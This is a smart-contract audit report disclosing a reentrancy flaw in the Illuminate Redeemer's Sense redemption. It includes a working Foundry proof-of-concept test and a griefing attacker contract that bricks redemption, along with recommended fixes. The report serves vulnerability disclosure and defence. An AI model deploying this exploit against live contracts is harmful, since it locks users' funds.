kenzo

high

# Reentrancy in redemption methods can lead to total bricking of Sense redemption

## Summary
Sense's `redeem` method only redeems SensePTs that were pulled in the current tx from the Lender.
Using reentrancy in the `redeem` methods,
a griefer can move Lender's SensePTs to Redeemer without actually redeeming them,
thereby totally bricking Sense market redemption.

## Vulnerability Detail
To make sure redemption has happened, Sense's `redeem` method checks that the underlying received after redemption is as much as the PTs pulled from Lender.
Using reentrancy, this check can be fooled and bypassed: **a griefer can reenter Redeemer and redeem another market, which has at least as much underlying as Sense**.
After doing so, **the SensePTs will be in Redeemer and not in Lender**, and the redemption method will finish.
**Since Redeemer only redeems the tokens pulled from Lender, this will render further redemption of Sense impossible**.
See a little more explanation in the Code Snippet section.
I've also coded a POC and it is pasted below.

## Impact
Redemption of Sense market can be totally bricked.
This leads to massive loss of user funds.

Although an attacker gains nothing from doing this,
and it requires external conditions (having a not-yet-redeemed market which holds at least as much underlying as Sense's),
I think this issue deserves a high severity rating.
This is because this griefing attack costs almost nothing - only deployment of contract + tx,
we already have precedent for griefing (eg. the "I accidentally killed it" accident),
the external conditions mentioned above seem totally realistic,
and the end result is catastrophic - massive loss of user funds.
This is why I consider the high severity to be justified.

## Code Snippet
In Sense's `redeem`, to make sure the underlying was received, the method [checks](https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Redeemer.sol#L389) that the ending underlying balance was increased at least by `amount`: (truncated)
```solidity
        uint256 amount = token.balanceOf(cachedLender);
        uint256 starting = IERC20(u).balanceOf(address(this));
        ISenseDivider divider = ISenseDivider(ISenseAdapter(a).divider());
        ISenseDivider(divider).redeem(a, s, amount);
        uint256 redeemed = IERC20(u).balanceOf(address(this)) - starting;
        if (redeemed < amount) {
            revert Exception(13, 0, 0, address(0), address(0));
        }
```
The problem is that `a`, the Sense adapter, is user supplied.
The user can supply a contract which upon Redeemer calling it, would reenter Redeemer and redeem another market, that has as much PTs as Sense.
When this other-market-redemption finishes, the contract's underlying balance has indeed grown at least by `amount`.
So the sanity check pasted above, in Sense's `redeem` method, will pass succesfully.

Note that this Sense `redeem` method [only redeems](https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Redeemer.sol#L373) the amount that was pulled from Lender:
```solidity
        uint256 amount = token.balanceOf(cachedLender);
        ...
        ISenseDivider(divider).redeem(a, s, amount);
```
This means that if we transfer the SensePTs from Lender to Redeemer without redeeming them,
they can not be further redeemed. 
Also note that there is no way to rescue tokens from Redeemer.

So in the reentrancy scenario described earlier, as the SensePTs have already been transferred from Lender to Redeemer,
they are now stuck there, without way of redemption, lost, for all eternity.
I've attached a POC for this scenario.

## Proof of Concept
The following test will execute this bricking scenario.
The griefer will supply his own contract as Sense adapter, which will reenter Redeemer, redeem YieldPTs, thereby bypassing the sanity check, moving all SensePTs to Redeemer and bricking Sense redemption.
Paste the test in test/fork/Redeemer.t.sol.
See comments for explanation.
The test should go inside RedeemerTest after all the tests, and the contract should be outside RedeemerTest block.
```solidity
    function testSenseRedemptionBricking() public {
        deployMarket(Contracts.USDC, 0);

        // Prepare legitimate Yield redemption
            address principalToken = Contracts.YIELD_TOKEN;

            // give lender principal tokens
            deal(principalToken, address(l), startingBalance);

            // approve lender to transfer principal tokens
            vm.startPrank(address(l));
            IERC20(principalToken).approve(address(r), startingBalance);
            IERC20(Contracts.SENSE_TOKEN).approve(address(r), startingBalance);
            vm.stopPrank();

        // Seed Lender with same amount of Sense PTs    
            deal(Contracts.SENSE_TOKEN, address(l), startingBalance);

        // Redeemer needs to approve Converter to convert some compounding tokens.
        // This is normal behavior in the redemption flow. Executing here as the exploit needs it to happen.
            vm.startPrank(address(r));
            IERC20(Contracts.CUSDC).approve(address(c), type(uint256).max);
            vm.stopPrank();

        // Prepare and start attack.
        SenselessAttacker griefer = new SenselessAttacker(Contracts.USDC, maturity, Contracts.CUSDC);

        // Start by calling Sense redeem method. Griefer contract will reenter Redeemer and 
        //      actually redeem Yield, thereby fooling the Sense underlying safety check.
        r.redeem(6, Contracts.USDC, maturity, maturity, address(griefer));

        // Now Redeemer holds the underlying redeemed for Yield...
        assertEq(IERC20(Contracts.YIELD_TOKEN).balanceOf(address(l)), 0);
        assertEq(IERC20(Contracts.USDC).balanceOf(address(r)), startingBalance);

        // ...but Redeemer also holds the Sense PTs, making further redemption of Sense impossible,
        //      as only Lender's SensePT balance is being redeemed by `redeem`.
        assertEq(IERC20(Contracts.SENSE_TOKEN).balanceOf(address(l)), 0);
        assertEq(IERC20(Contracts.SENSE_TOKEN).balanceOf(address(r)), startingBalance);
    }
```
```solidity
contract SenselessAttacker {
    address underlying;
    uint256 maturity;
    address compounding;

    constructor(address _u, uint256 _m, address _compounding) {
        underlying = _u;
        maturity = _m;
        compounding = _compounding;
    }

    function divider() external view returns (address) {
        return address(this);
    }
    
    function target() external view returns (address) {
        return compounding;
    }

    function redeem(
        address,
        uint256,
        uint256
    ) external returns (uint256) {
        // Redeem Yield to fool underlying check
        Redeemer(msg.sender).redeem(2, underlying, maturity); 
        return 5; // All things happen in fives, or are directly or indirectly related to five. See "Law of Fives".
    }
}
```

## Tool used
Manual Review

## Recommendation
I see 2 options to fix this:
- In Sense's `redeem`, redeem all of Redeemer's PT balance - not only what was pulled from the Lender.
Honestly I think it will be good practice for extra safety to do this for all of the protocols' `redeem` operations.
- Add a reentrancy lock on the redeeming functions.